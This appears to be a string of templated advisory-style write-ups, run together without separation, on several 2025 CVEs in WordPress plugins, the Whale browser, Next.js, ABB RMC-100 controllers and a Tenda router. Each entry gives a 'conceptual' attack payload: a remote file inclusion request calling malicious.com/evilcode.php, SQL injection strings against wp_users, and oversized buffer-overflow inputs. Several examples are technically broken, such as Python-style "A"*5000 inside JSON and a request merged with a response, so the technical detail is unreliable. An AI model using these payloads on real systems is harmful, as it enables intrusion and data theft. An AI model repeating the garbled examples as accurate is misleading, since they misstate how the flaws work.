Author: Ameeba

Overview

The CVE-2025-47627 is a critical vulnerability found in the LCweb PrivateContent – Mail Actions. This PHP Remote File Inclusion vulnerability can lead to system compromise or data leakage, posing a significant threat to any organization using versions up to 2.3.2 of the software. It underscores the importance of regular patching and cybersecurity vigilance.

Vulnerability Summary

CVE ID: CVE-2025-47627
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

LCweb PrivateContent – Mail Actions | up to 2.3.2

How the Exploit Works

The exploit works by taking advantage of an improper control of filename for include/require statement in the PHP program of LCweb PrivateContent – Mail Actions. This allows an attacker to include a remote PHP file from an external server, which will be executed in the context of the web application. This leads to a potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /vulnerable/endpoint.php?include=http://malicious.com/evilcode.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
{ "param": "value" }

In the example above, the attacker uses a POST request to include a malicious PHP file (`evilcode.php`) hosted on their own server (`malicious.com`). The `evilcode.php` file is then executed locally on the vulnerable server, potentially leading to system compromise or data leakage.

Mitigation

Users are advised to apply patches provided by the vendor as soon as possible. As a temporary mitigation strategy, users can also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.

Overview

The vulnerability, identified as CVE-2025-5920, is a security flaw that impacts the Sharable Password Protected Posts software prior to version 1.1.1. This vulnerability can potentially lead to data leakage or full system compromise due to the exposure of secret keys via a GET parameter in the REST API. It is a significant threat to any entity using this software as it could grant unauthorized access to sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-5920
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized data access, system compromise

Affected Products

Product | Affected Versions

Sharable Password Protected Posts | Before 1.1.1

How the Exploit Works

The vulnerability stems from the software’s mishandling of secret keys in the REST API. An attacker can exploit this flaw by sending a GET request with the secret key as a parameter. The REST API then exposes this key, allowing the attacker to bypass the password protection on posts, thereby gaining unauthorized access to the content.

Conceptual Example Code

Here is a conceptual example illustrating how the vulnerability might be exploited:

GET /wp-json/wp/v2/posts?secret_key=[insert secret key] HTTP/1.1
Host: target.example.com
Accept: application/json

In this example, the attacker inserts the secret key into the GET request, which would then return the protected content if the vulnerability is present.

Recommended Mitigation

To remediate this vulnerability, users of Sharable Password Protected Posts are advised to upgrade to version 1.1.1 or later, where this vulnerability has been resolved. If an upgrade is not immediately possible, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure.

Overview

Whale browser, prior to version 4.32.315.22, has been identified as having a vulnerability that allows attackers to bypass the Same-Origin Policy in a dual-tab environment. This vulnerability, known as CVE-2025-53600, poses a significant risk to users, potentially compromising systems or leading to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53600
Severity: High (7.5/10 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

Whale Browser | Versions before 4.32.315.22

How the Exploit Works

An attacker can exploit CVE-2025-53600 by manipulating the Same-Origin Policy in a dual-tab environment within the Whale browser. This allows the attacker to access sensitive data, execute scripts or perform actions that would normally be restricted by the browser’s security measures.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited with a JavaScript injection:

<script>
// Open new tab with target website
var target = window.open('http://target.example.com', '_blank');
// Wait for the target page to fully load
setTimeout(function() {
// Execute malicious actions in the context of the target page
target.document.cookie = "session=malicious_value";
}, 5000);
</script>

This code, when run in the context of an attacker’s webpage, would open a new tab to the target site and, after waiting for the page to load, inject a malicious session cookie.

Mitigation Guidance

To mitigate this threat, users should apply the vendor-provided patch as soon as possible. If the patch cannot be applied immediately, temporary mitigation can be achieved through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS).

Overview

The Booking X plugin for WordPress, versions 1.0 to 1.1.2, is susceptible to a severe data leakage vulnerability. The vulnerability, identified as CVE-2025-6814, allows unauthenticated attackers to gain access to, and download, sensitive user data and PayPal credentials. Any organization utilizing the vulnerable versions of this plugin is at risk, making this issue a significant concern within the cybersecurity landscape.

Vulnerability Summary

CVE ID: CVE-2025-6814
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access and potential system compromise or data leakage

Affected Products

Product | Affected Versions

Booking X Plugin for WordPress | 1.0 to 1.1.2

How the Exploit Works

The vulnerability exists due to a missing capability check in the export_now() function of the Booking X plugin. This flaw allows unauthenticated attackers to issue a crafted POST request, bypassing normal authentication processes. As a result, attackers can download all plugin data, including user accounts, user meta, and PayPal credentials.

Conceptual Example Code

The below pseudocode represents how an attacker might exploit this vulnerability:

POST /wp-content/plugins/booking-x/includes/export.php HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "action": "export_now", "nonce": "..." }

In this example, the attacker crafts a POST request to the vulnerable endpoint in the plugin, triggering the export_now() function. The attacker can then download the resulting data file, gaining unauthorized access to sensitive data.

Overview

A critical vulnerability has been identified in the GoZen Forms plugin for WordPress, with a CVSS Severity Score of 7.5. This vulnerability allows unauthenticated attackers to perform SQL Injection attacks via the ‘forms-id’ parameter of the emdedSc() function. This could potentially compromise the system and lead to data leakage. Web administrators using this plugin should apply the vendor patch immediately to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-6783
Severity: Critical (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

GoZen Forms WordPress Plugin | Up to and including 1.1.5

How the Exploit Works

The vulnerability lies in the emdedSc() function of the GoZen Forms plugin. The ‘forms-id’ parameter in this function does not adequately escape user-supplied input, and the SQL query lacks sufficient preparation. This allows unauthenticated attackers to append additional SQL queries that can extract sensitive data from the database or even modify it.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP POST request with a malicious payload:

POST /wp-admin/admin-ajax.php?action=gozen_forms_embed_sc HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
forms-id=1 UNION SELECT 1,username,password FROM wp_users WHERE ID=1 --

In this example, the attacker sends a POST request to the vulnerable endpoint with a ‘forms-id’ parameter containing a malicious SQL injection payload. This would result in data extraction from the WordPress users table.

Mitigation Guidance

The vendor has released a patch to address this vulnerability. Users of the GoZen Forms plugin for WordPress should apply this patch immediately. As a temporary mitigation, users can also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.

Overview

The GoZen Forms plugin for WordPress, a popular tool for creating interactive forms, has been identified as carrying a significant SQL Injection vulnerability. This vulnerability affects all versions up to and including 1.1.5 and can allow unauthenticated attackers to manipulate SQL queries to extract sensitive data. Given the widespread use of WordPress and the GoZen Forms plugin, this vulnerability poses a serious risk to numerous websites and their associated databases.

Vulnerability Summary

CVE ID: CVE-2025-6782
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

GoZen Forms WordPress Plugin | Up to and including 1.1.5

How the Exploit Works

The vulnerability lies in the ‘forms-id’ parameter of the dirGZActiveForm() function. Due to insufficient escaping on this user-supplied parameter and inadequate preparation of the SQL query, an attacker can append additional SQL queries into already existing ones. These modified queries can then be used to extract sensitive information from the database linked to the WordPress site.

Conceptual Example Code

This is a conceptual example demonstrating the potential exploitation of the vulnerability.

POST /wp-content/plugins/gozen-forms/dirGZActiveForm.php HTTP/1.1
Host: targetsite.com
forms-id=1';SELECT * FROM wp_users;--

In this example, the malicious payload is `1′;SELECT * FROM wp_users;–`, which would inject an additional SQL command after the original query that extracts all user information from the `wp_users` table.

Recommended Mitigation

To mitigate this vulnerability, apply the vendor patch as soon as it’s available. In the meantime, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary solution.

Overview

The vulnerability, CVE-2025-49826, is a notable security risk concerning Next.js, a popular React framework for web application development. The vulnerability poses a significant risk to full-stack web applications developed using affected versions of Next.js. It primarily leads to a Denial of Service (DoS) condition, potentially compromising systems or leading to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49826
Severity: High, CVSS Score: 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: DoS condition, potential system compromise and data leakage

Affected Products

Product | Affected Versions

Next.js | 15.0.4-canary.51 to 15.1.7

How the Exploit Works

The exploit works by taking advantage of a cache poisoning bug in the Next.js framework. In certain circumstances, it allows an HTTP 204 response to be cached for static pages. This cached response can then be served to all users attempting to access the page, leading to a Denial of Service (DoS) condition as the page becomes inaccessible.

Conceptual Example Code

An attacker might exploit this vulnerability using a malformed HTTP request that triggers the HTTP 204 response. This could look something like:

GET /static_page HTTP/1.1
Host: target.example.com
Cache-Control: no-cache
Pragma: no-cache
HTTP/1.1 204 No Content
Cache-Control: max-age=86400
...

The attacker sends a request to a static page, forcing a 204 No Content response which then gets cached. Future legitimate requests to the same page receive the cached 204 response, effectively making the page unavailable.

Mitigation

The issue has been addressed in version 15.1.8 of Next.js. Users of the affected versions should update to the patched version as soon as possible. As a temporary solution, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may be used to detect and block attempts to exploit this vulnerability.

Overview

The vulnerability identified as CVE-2025-6073 is a critical flaw in ABB RMC-100 and RMC-100 LITE. It’s a stack-based buffer overflow vulnerability which, when exploited, can potentially lead to system compromise or data leakage. This vulnerability matters due to its high severity score and the potential impact on the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-6073
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

ABB RMC-100 | 2105457-043 through 2105457-045
ABB RMC-100 LITE | 2106229-015 through 2106229-016

How the Exploit Works

The vulnerability arises when the REST interface is enabled by a user and an attacker gains access to the control network. When user/password broker authentication is enabled, and the CVE-2025-6074 is exploited, the attacker can overflow the buffer for username or password, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example is an HTTP request that could be used to send a malicious payload to the vulnerable endpoint.

POST /rest_interface/login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"username": "validuser",
"password": "A"*5000  //An example of a Buffer overflow attack
}

In this example, the password field is filled with a number of ‘A’ characters exceeding the buffer size, leading to overflow. This can allow the attacker to potentially overwrite data in the memory and execute arbitrary code.

Overview

The vulnerability CVE-2025-6072 presents a significant risk to ABB’s RMC-100 and RMC-100 LITE products. This Stack-based Buffer Overflow vulnerability may allow an attacker to compromise the system or lead to data leakage if the REST interface is enabled, and the attacker gains access to the control network. Therefore, it’s crucial to understand and mitigate this vulnerability to secure the products and data.

Vulnerability Summary

CVE ID: CVE-2025-6072
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ABB RMC-100 | 2105457-043 to 2105457-045
ABB RMC-100 LITE | 2106229-015 to 2106229-016

How the Exploit Works

The exploit works by overflowing the date of expiration field in the JSON configuration when the REST interface is enabled. If an attacker gains access to the control network and exploits CVE-2025-6074, they can manipulate the JSON configuration to overflow the date of expiration field, potentially causing system compromise or data leakage.

Conceptual Example Code

An example of how the vulnerability might be exploited is demonstrated below. This is a conceptual representation and may not work in an actual scenario without modifications.

POST /RMC-100/config HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"date_of_expiration": "2025-12-31" + "A"*5000
}

This HTTP request sends a JSON object with the date_of_expiration field purposely oversize to overflow the buffer. This overflow can cause unexpected behavior in the system, leading to potential system compromise or data leakage.

Overview

The vulnerability CVE-2025-50262 pertains to the Tenda AC6 v15.03.05.16_multi, which is susceptible to a buffer overflow attack. This vulnerability, if exploited, can lead to system compromise or data leakage. Given the severe potential impact, it is crucial for users and administrators of Tenda AC6 devices to understand the nature of this vulnerability and take immediate remedial measures.

Vulnerability Summary

CVE ID: CVE-2025-50262
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC6 | v15.03.05.16_multi

How the Exploit Works

The vulnerability arises from a buffer overflow in the formSetQosBand function. A malicious actor can exploit this by sending an overly large list parameter to this function. When the parameter exceeds the buffer limit, it could lead to a stack overflow that allows the attacker to execute arbitrary code or disrupt the system’s operation.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /formSetQosBand HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
list=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [continue with 'A' characters until the buffer overflows]

In this example, the ‘A’ characters are sent as the list parameter in an amount that exceeds the buffer limit, leading to a potential buffer overflow.

Mitigation

Users are advised to apply the vendor patch for this vulnerability as soon as it becomes available. In the interim, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These can be configured to detect and block attempts to exploit this vulnerability.